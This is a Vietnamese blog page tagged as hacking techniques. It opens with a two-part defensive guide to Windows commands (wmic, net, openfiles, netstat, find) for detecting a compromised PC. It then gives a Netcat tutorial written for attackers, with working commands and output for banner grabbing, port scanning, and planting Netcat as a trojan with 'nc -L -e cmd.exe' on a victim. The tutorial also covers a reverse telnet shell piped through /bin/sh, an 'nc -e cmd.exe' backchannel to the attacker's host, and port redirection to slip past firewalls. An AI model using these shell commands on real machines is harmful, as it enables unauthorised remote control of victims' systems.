Hiển thị các bài đăng có nhãn Kỹ Thuật Hacking. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Kỹ Thuật Hacking. Hiển thị tất cả bài đăng

Thứ Năm, 17 tháng 1, 2013

Xác định hệ thống bị tấn công bằng các lệnh Windows -P2


4. Netstat
Lệnh netstat trong Windows có thể hiển thị hành vi mạng, tập trung vào TCP và UDP mặc định. Vì malware thường truyền thông trong toàn mạng, nên người dùng có thể tìm kiếm các kết nối không bình thường trong đầu ra của netstat, chạy lệnh dưới đây:
C:\> netstat -nao
Tùy chọn –n sẽ thông báo cho netstat hiển thị các số trong đầu ra của nó, trừ tên máy và giao thức mà thay vì đó sẽ hiển thị các địa chỉ IP và TCP hoặc số cổng UDP. –a chỉ thị hiển thị tất cả các kết nối và các cổng đang lắng nghe. Tùy chọn –o thông báo cho netstat hiển thị số processID của mỗi chương trình đang tương tác với cổng TCP hoặc UDP. Nếu thay vì TCP và UDP, bạn chỉ quan tâm đến ICMP, khi đó bạn có thể chạy lệnh netstat như dưới đây:
C:\> netstat –s –p icmp
Lệnh trên chỉ thị rằng nó sẽ trả về thống kê (-s) của giao thức ICMP. Mặc dù không thể hiện nhiều chi tiết bằng TCP và UDP nhưng người dùng có thể thấy được liệu máy tính có đang gửi lưu lượng ICMP không mong đợi trên mạng hay không. Tuy nhiên một số backdoor và một số malware khác có thể truyền thông bằng cách sử dụng tải trọng của các thư ICMP Echo.
Giống như WMIC, lệnh netstat cũng cho phép chúng ta chạy nó theo một chu kỳ lặp đi lặp lại. Tuy nhiên thay vì sử dụng cú pháp "/every:[N]" như WMIC, người dùng chỉ cần thêm sau lệnh triệu gọi netstat dấu cách và số nguyên. Như vậy, để liệt kê các cổng TCP và UDP đang sử dụng trên máy tính cứ sau 2 giây một lần, người dùng có thể chạy:
C:\> netstat –na 2
5. Find
Hầu hết các lệnh mà chúng tôi đã giới thiệu cho đến đây đều hiển thị rất nhiều đầu ra trên màn hình, điều này đôi khi làm khó người dùng trong việc quan sát toàn bộ để tìm ra một mục nào đó mà họ quan tâm. Tuy nhiên Windows có một công cụ khác có thể giúp bạn khắc phục điều này. Người dùng có thể tìm kiếm trong toàn bộ đầu ra của mỗi lệnh bằng cách sử dụng lệnh findstr và find trong Windows. Lệnh find sẽ tìm kiếm các chuỗi đơn giản, trong khi đó lệnh findstr sẽ hỗ trợ cho các từ ngữ thông thường, một cách phức tạp hơn để phân biệt các mẫu tìm kiếm. Do các từ ngữ thông thường được hỗ trợ bởi findstrvượt ra ngoài phạm vi của bài viết này, nên chúng tôi chỉ tập trung vào lệnh find. Mặc định lệnh find sẽ phân biệt giữa chữ hoa và chữ thường, tuy nhiên bằng cách sử dụng tùy chọn/i bạn có thể làm mất đi sự phân biệt này.
Lệnh find cũng có khả năng đếm. Được triệu gọi với lệnh /c, nó sẽ đếm số dòng của đầu ra gồm có chuỗi đã cho. Nếu người dùng muốn đếm số lượng dòng trong đầu ra của lệnh để biết được số lượng quá trình đang chạy, số lượng mục startup đang hiện diện, hoặc một loạt các hành động khác trên máy. Để đếm số dòng đầu ra, người dùng có thể dẫn đầu ra của họ qua find /c /v "". Lệnh này sẽ đếm (/c) số dòng trừ dòng trống.

Lúc này, với lệnh find, người dùng có thể quan sát đầu ra của mỗi một lệnh mà chúng tôi đã giới thiệu cho đến đây để tìm ra những điều thú vị riêng. Cho ví dụ, để xem thông tin mỗi giây về các quá trình cmd.exe đang chạy trên máy tính, bạn hãy đánh:
C:\> wmic process list brief /every:1 | find "cmd.exe"
Để đếm số file mở trên máy tính khi openfiles được kích hoạt, bạn chỉ cần đánh:
C:\> openfiles /query /v | find /c /v ""
Dù có đếm các mục theo một cách nào đi nữa, các bạn cần nhớ trừ đi số dòng được liên kết với header cột. Ví dụ, để xem với độ chính xác theo mỗi giây khi cổng TCP 2222 bắt đầu được sử dụng trên máy tính, cùng với process ID đang sử dụng trên cổng, chạy:
C:\> netstat –nao 1 | find "2222"
Nghiên cứu đầu ra
Với 5 công cụ này, người dùng có thể xử lý các thông tin về cấu hình, trạng thái bảo mật của mỗi một máy tính Windows. Mặc dù vậy để sử dụng mỗi lệnh trong việc nhận diện sự thỏa hiệp, người dùng cần phải so sánh các thiết lập hiện hành củ máy tính bị nghi ngờ với máy tính bình thường.
Có ba cách có thể thiết lập sự so sánh này. Đầu tiên, nếu người dùng là một “thợ săn” malware đã có kinh nghiệm thì anh ta có thể nhận biết về những gì đúng và những gì sai với máy tính, nhận ra những vấn đề không bình thường dựa trên kinh nghiệm. Cách thứ hai, so sánh này có thể được thực hiện với một máy không bị tiêm nhiễm nếu có. Nếu không có một máy tính “sạch”, người dùng có thể dựa vào tùy cách thứ ba – tìm kiếm các file, tên quá trình, tên file và số cổng cụ thể được nhận biết bởi các lệnh này và tìm kiếm chúng online nhằm xác định xem chúng có phải là các file thông thường cho máy tính và phần mềm mà nó đã cài đặt hay có liên quan tới một số loại malware.
Trong phần này, chúng tôi đã giới thiệu cho các bạn 5 lệnh rất mạnh trong Windows. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ giới thiệu tiếp cho các bạn 5 lệnh hữu dụng khác từ dòng lệnh.


Văn Linh (Theo Techtarget)

Xác định hệ thống bị tấn công bằng các lệnh Windows-P1


Các máy tính Windows là những máy tính bị tấn công nhiều nhất. Chính vì vậy mà Microsoft đã xây dựng rất nhiều công cụ trong hệ điều hành Windows để các quản trị viên và một số người dùng có thể phân tích nhằm xác định xem máy tính của họ hiện có bị thỏa hiệp hay không. Trong hướng dẫn gồm hai phần này, phần đầu tiên chúng tôi sẽ giới thiệu cho các bạn về 5 công cụ dòng lệnh hữu dụng trong Windows để thực hiện một hành động phân tích đó. 1. WMIC
Windows Management Instrumentation Command-line (WMIC) không chỉ đơn thuần là một lệnh mà có rất nhiều tính năng khác. Công cụ này có một giao diện dòng lệnh cho Windows Management Instrumentation API bên trong Windows. WMIC cho phép quản lý người dùng truy cập các thông tin chi tiết trên máy tính Windows, gồm có các thuộc tính chi tiết của hàng ngàn các thiết lập và đối tượng. WMIC được xây dựng bên trong Windows XP Professional, Windows 2003 và Windows Vista. Để sử dụng nó, người dùng phải khởi chạy chương trình bằng cách chạy lệnh WMIC, theo sau là phần mà người dùng quan tâm (thường được gọi là các alias bên trong hệ thống). Cho ví dụ, để biết về các quá trình đang chạy trên máy tính, người dùng có thể chạy lệnh:
C:\> wmic process 
Phần đầu ra của lệnh này có vẻ khá khó đọc vì định không được chỉ định. Tuy nhiên với WMIC, đầu ra mà công cụ này cung cấp được định dạng hoàn toàn khác, trong đó phần "list full" sẽ hiển thị các thông tin chi tiết cho mỗi lĩnh vực mà người dùng quan tâm, còn phần "list brief" sẽ cung cấp một dòng đầu ra cho mỗi một mục báo cáo dưới sạng danh sách các mục, chẳng hạn như các quá trình đang chạy, các chương trình tự động khởi chạy và những chia sẻ hiện hữu.
Cho ví dụ, chúng ta có thể quan sát mọi quá trình đang chạy trên máy tính bằng cách chạy lệnh:
C:\> wmic process list brief
Lệnh trên sẽ hiển thị tên, ID của quá trình và quyền ưu tiên của mỗi quá trình đang chạy cũng như các thuộc tính khác. Để nhận thêm các thông tin chi tiết hơn, chạy lệnh:
C:\> wmic process list full
Lệnh này sẽ hiển thị tất cả các thông tin chi tiết, gồm có đường dẫn của file thực thi có liên kết với quá trình và lệnh triệu gọi dòng lệnh của nó. Khi nghiên cứu một máy tính có bị tiêm nhiễm hay không, quản trị viên cần phải xem xét từng quá trình để xác định xem các quá trình này có hợp lệ trên máy tính hay không, sau đó nghiên cứu các quá trình lạ hoặc không mong đợi bằng cách sử dụng các cỗ máy tìm kiếm.
Ngoài các alias về các quá trình, người dùng có thể thay thế startup để nhận danh sách các chương trình tự động khởi chạy trên máy tính, gồm có các chương trình khởi chạy khi hệ thống khởi động hoặc người dùng đăng nhập, đây là những chương trình được định nghĩa bởi một auto-start registry key hoặc thư mục:
C:\> wmic startup list full
Rất nhiều malware có thể tự động chạy trên máy tính bằng cách thêm một mục auto-start bên cạnh các mục hợp lệ khác có bên trong các công cụ antivirus hay các chương trình system tray. Người dùng có thể quan sát các thiết lập khác trên máy tính với WMIC bằng cách thay thế "startup" bằng "QFE" (cụm chữ cái viết tắt cho Quick Fix Engineering) để thấy được mức vá của một hệ thống, bằng "share" để xem danh sách các file chia sẻ trên Windows hoặc bằng "useraccount" để thấy được các thiết lập tài khoản chi tiết của người dùng.
Một tùy chọn khác bên trong WMIC là khả năng chạy một lệnh để thu thập thông tin trên trên một chu kỳ nào đó bằng cách sử dụng cú pháp "/every:[N]" sau phần còn lại của lệnh WMIC. [N] ở đây là một số nguyên, chỉ thị rằng WMIC sẽ chạy lệnh trên cứ [N] giây một lần. Bằng cách đó, người dùng có thể tìm kiếm các thay đổi trong các thiết lập của hệ thống theo thời gian, cho phép khảo sát một cách kỹ lưỡng đầu ra. Sử dụng chức năng này để kéo toàn bộ các thông tin về quá trình trong 5 giây một lần, người dùng có thể chạy:
C:\> wmic process list brief /every:1
Nhấn CTRL+C sẽ dừng chu kỳ.
2. Lệnh net 
Giới thiệu ở trên, WMIC là một lệnh tương đối mới, tuy nhiên còn có một số lệnh khác không phải là mới nhưng khá hữu dụng đó là lệnh "net". Các quản trị viên có thể sử dụng lệnh này để hiển thị tất cả các thông tin hữu dụng.
Cho ví dụ, lệnh "net user" sẽ hiển thị tất cả các tài khoản người dùng được định nghĩa nội bộ trên máy tính. Lệnh "net localgroup" sẽ hiển thị các nhóm, lệnh "net localgroup administrators" sẽ hiển thị thành viên của nhóm quản trị viên và lệnh "net start" hiển thị các dịch vụ đang chạy.
Các hacker thường đưa người dùng vào một hệ thống hoặc đặt các tài khoản của họ vào một nhóm quản trị viên, vì vậy chúng ta luôn phải kiểm tra đầu ra của các lệnh này để xem liệu hacker đã sửa đổi các tài khoản trên máy tính hay chưa. Thêm vào đó, một số hacker có thể tạo các dịch vụ xấu trên máy tính, vì vậy người dùng nên cần thận với chúng.
3. Openfiles
Nhiều quản trị viên Windows không quen với việc sử dụng các lệnh openfileslsof phổ biến cho Linux và Unix, nó cũng thể hiện cho các quản trị viên tất cả các file đang mở trên máy tính, cung cấp tên quá tình và đường dẫn hoàn chỉnh cho mỗi file. Tuy nhiên không giống như lsof, nó không cung cấp nhiều thông tin chi tiết, chẳng hạn như số ID của quá trình, số người dùng hoặc các thông tin khác. mạnh có trong Windows. Mặc dù vậy, như tên ngụ ý của nó, lệnh này sẽ hiển thị tất cả các file được mở trong máy tính, chỉ thị tên quá trình đang tương tác với mỗi file. Nó được xây dựng trong các phiên bản Windows đời mới, từ XP Pro đến Vista. Giống như lệnh 
Xem xét phân vùng thông tin mà nó thu thập được, bạn sẽ không hề ngạc nhiên rằng lệnhopenfiles thực sự tiêu hao rất nhiều hiệu suất. Chính vì vậy, thông thường các quá trình có liên quan đến openfiles bị tắt mặc định, nghĩa là người dùng không thể kéo bất cứ dữ liệu nào từ lệnh này cho tới khi bật nó. Chức năng này có thể được kích hoạt bằng cách chạy lệnh:
C:\> openfiles /local on
Người dùng sẽ cần phải khởi động lại và khi hệ thống hoạt động trở lại, họ sẽ có thể chạy lệnh openfiles như dưới đây:

C:\> openfiles /query /v

Lệnh này sẽ hiển thị đầu ra một cách chi tiết, gồm có tài khoản người dùng mà quá trình cho một file mở đang chạy bên trong. Từ đó có thể nhận biết được malware gì đã được cài đặt, hoặc tấn công gì có thể đang được thực hiện trên máy tính, người dùng nên tìm kiếm các file dị thường hoặc các file không mong đợi, đặc biệt các file có liên quan đến những người dùng nội bộ không mong đợi trên máy tính.
Khi kết thúc với lệnh openfiles, chức năng tính toán của nó có thể được tắt bỏ và hệ thống sẽ trở lại với tình trạng hiệu suất bình thường bằng cách chạy lệnh dưới đây và khởi động lại máy tính:
C:\> openfiles /local off

Hết phần 1
Văn Linh (Theo Techtarget)

Thứ Ba, 27 tháng 3, 2012

Hướng dẫn sử dụng Netcat

Hướng dẫn sử dụng Netcat 
1. Giới thiệu 
Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcatsmilie 
-------------------------------------------------------------------------------- 

2. Biên dịch 
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng. 

- hiệu chỉnh file netcat.c bằng vi: vi netcat.c 
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init(); 
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file): 
#define GAPING_SECURITY_HOLE 
#define TELNET 
- biên dịch: make linux 
- chạy thử: ./nc -h 
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":." 
PATH=/sbin:/usr/sbin:...:. 

Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong. 


-------------------------------------------------------------------------------- 

3. Các tùy chọn của Netcat 
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số: 

C:\>nc -h 
connect to somewhere: nc [-options] hostname port[s] [ports] ... 
listen for inbound: nc -l -p port [options] [hostname] [port] 
options: 
-d detach from console, stealth mode 

-e prog inbound program to exec [dangerous!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h this cruft 
-i secs delay interval for lines sent, ports scanned 
-l listen mode, for inbound connects 
-L listen harder, re-listen on socket close 
-n numeric-only IP addresses, no DNS 
-o file hex dump of traffic 
-p port local port number 
-r randomize local and remote ports 
-s addr local source address 
-t answer TELNET negotiation 
-u UDP mode 
-v verbose [use twice to be more verbose] 
-w secs timeout for connects and final net reads 
-z zero-I/O mode [used for scanning] 
port numbers can be individual or ranges: m-n [inclusive] 


* Cú pháp: 

- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2] 
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng] 

* Một số tùy chọn: 

-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar) 
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe 
-h gọi hướng dẫn 
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi 
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến 
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối. 
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS 
-o file ghi nhật kí vào file 
-p port chỉ định cổng port 
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random) 
-s addr giả mạo địa chỉ IP nguồn là addr 
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd. 
-u dùng UDP(mặc định netcat dùng TCP) 
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa. 
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây 
-z chế độ zero I/O, thường được sử dụng khi scan port 

Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080 


-------------------------------------------------------------------------------- 

4. Các ví dụ: 
4.1 Chộp banner của web server 
Ví dụ: nc đến 172.16.84.2, cổng 80 

C:\>nc 172.16.84.2 80 
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần) 

HTTP/1.1 200 OK 
Date: Sat, 05 Feb 2000 20:51:37 GMT 
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 
OpenSSL/0.9.6 PHP/4.0.4pl1 
Connection: close 
Content-Type: text/html 


Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa) 

C:\>nc -vv 172.16.84.1 80 
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA 
(UNKNOWN) [172.16.84.1] 80 (?) open 
HEAD / HTTP/1.0 

HTTP/1.1 200 OK 
Date: Fri, 04 Feb 2000 14:46:43 GMT 
Server: Apache/1.3.20 (Win32) 
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT 
ETag: "0-cec-3899eaea" 
Accept-Ranges: bytes 
Content-Length: 3308 
Connection: close 
Content-Type: text/html 

sent 17, rcvd 245: NOTSOCK 


Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ: 

nc -vv -o nhat_ki.log 172.16.84.2 80 


- xem file nhat_ki.log 

< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK. 
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F 
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54 
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap 
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win 
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi 
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb 
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM 
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec- 
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep 
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes. 
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length: 
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio 
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten 
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm 
< 000000f0 6c 0d 0a 0d 0a # l.... 

dấu < nghĩa là server gởi đến netcat 
dấu > nghĩa là netcat gởi đến server 

4.2 Quét cổng 
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1 

[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500 
(UNKNOWN) [172.16.106.1] 443 (?) open 
(UNKNOWN) [172.16.106.1] 139 (?) open 
(UNKNOWN) [172.16.106.1] 111 (?) open 
(UNKNOWN) [172.16.106.1] 80 (?) open 
(UNKNOWN) [172.16.106.1] 23 (?) open 


- nếu bạn cần scan các cổng UDP, dùng -u 

[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500 
(UNKNOWN) [172.16.106.1] 1025 (?) open 
(UNKNOWN) [172.16.106.1] 1024 (?) open 
(UNKNOWN) [172.16.106.1] 138 (?) open 
(UNKNOWN) [172.16.106.1] 137 (?) open 
(UNKNOWN) [172.16.106.1] 123 (?) open 
(UNKNOWN) [172.16.106.1] 111 (?) open 


4.3 Biến Netcat thành một trojan 
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ: 

E:\>nc -nvv -l -p 8080 -e cmd.exe 
listening on [any] 8080 ... 
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 
sent 0, rcvd 0: unknown socket error 


- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080 

C:\>nc -nvv 172.16.84.2 8080 
(UNKNOWN) [172.16.84.2] 8080 (?) open 
Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-1999 Microsoft Corp. 

E:\>cd test 
cd test 

E:\test>dir /w 
dir /w 
Volume in drive E has no label. 
Volume Serial Number is B465-452F 

Directory of E:\test 

[.] [..] head.log NETUSERS.EXE NetView.exe 
ntcrash.zip password.txt pwdump.exe 
6 File(s) 262,499 bytes 
2 Dir(s) 191,488,000 bytes free 

C:\test>exit 
exit 
sent 20, rcvd 450: NOTSOCK 


Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux. 

E:\>nc -nvv -L -p 8080 -e cmd.exe 
listening on [any] 8080 ... 


- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ: 

netstat -a 
... 
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe 
... 

E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53 
listening on [172.16.84.1] 53 ... 
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163 


- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong. 

- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat. 


-------------------------------------------------------------------------------- 

5. Kĩ thuật tiên tiến 
5.1 Telnet nghịch chuuyển 
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ: 

- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25: 

+ cửa sổ Netcat (1) 

C:\>nc -nvv -l -p 80 
listennng on [any] 80 ... 
connect to [172.16.84.1] from <UNKNOWN> [172.16.84.2] 1055 
pwd 
ls -la 
_ 


+ cửa sổ Netcat (2) 

C:\>nc -nvv -l -p 25 
listening on [any] 25 ... 
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056 
/ 
total 171 
drwxr-xr-x 17 root root 4096 Feb 5 16:15 . 
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .. 
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n 
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot 
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev 
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²? 
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home 
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b 
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt 
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²? 
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt 
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²? 
drwx------ 12 root root 4096 Feb 5 16:24 root 
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n 
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp 
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr 
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var 


- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất: 

[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 
/bin/sh: Trying: command not found 
/bin/sh: Connected: command not found 
/bin/sh: Escape: command not found 
Trying 172.16.84.1... 
Connected to 172.16.84.1. 
Escape character is '^]'. 
_ 


Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2). 

Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc. 

5.2 Tạo kênh sau 
Cũng tương tự như telnet nghịch chuyển. 

- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn: 

C:\>nc -nvv -l -p 80 
listennng on [any] 80 ... 


- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell: 

E:\>nc -e cmd.exe 172.16.84.1 80 


Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo. 

C:\>nc -nvv -l -p 80 
listenning pm [any] 80 ... 
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035 

Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-1999 Microsoft Corp. 

E:\> 


5.3 Đổi hướng cổng 
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau: 

- chạy nc trên cổng bất kì: 

E:\>nc -nvv -L -p 1234 -e cmd.exe 
listening on [any] 1234 ... 


- chạy tunnel hoặc fpipe để đổi hướng cổng 

C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234 


C:\>fpipe -l 53 -r 1234 127.0.0.1 


tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe. 

Đổi hướng cổng là một cách để đi vòng qua firewalls. 
-------------------------------------------------------------------------------- 


http://www.hvaonline.net/hvaonline/posts/list/157.hva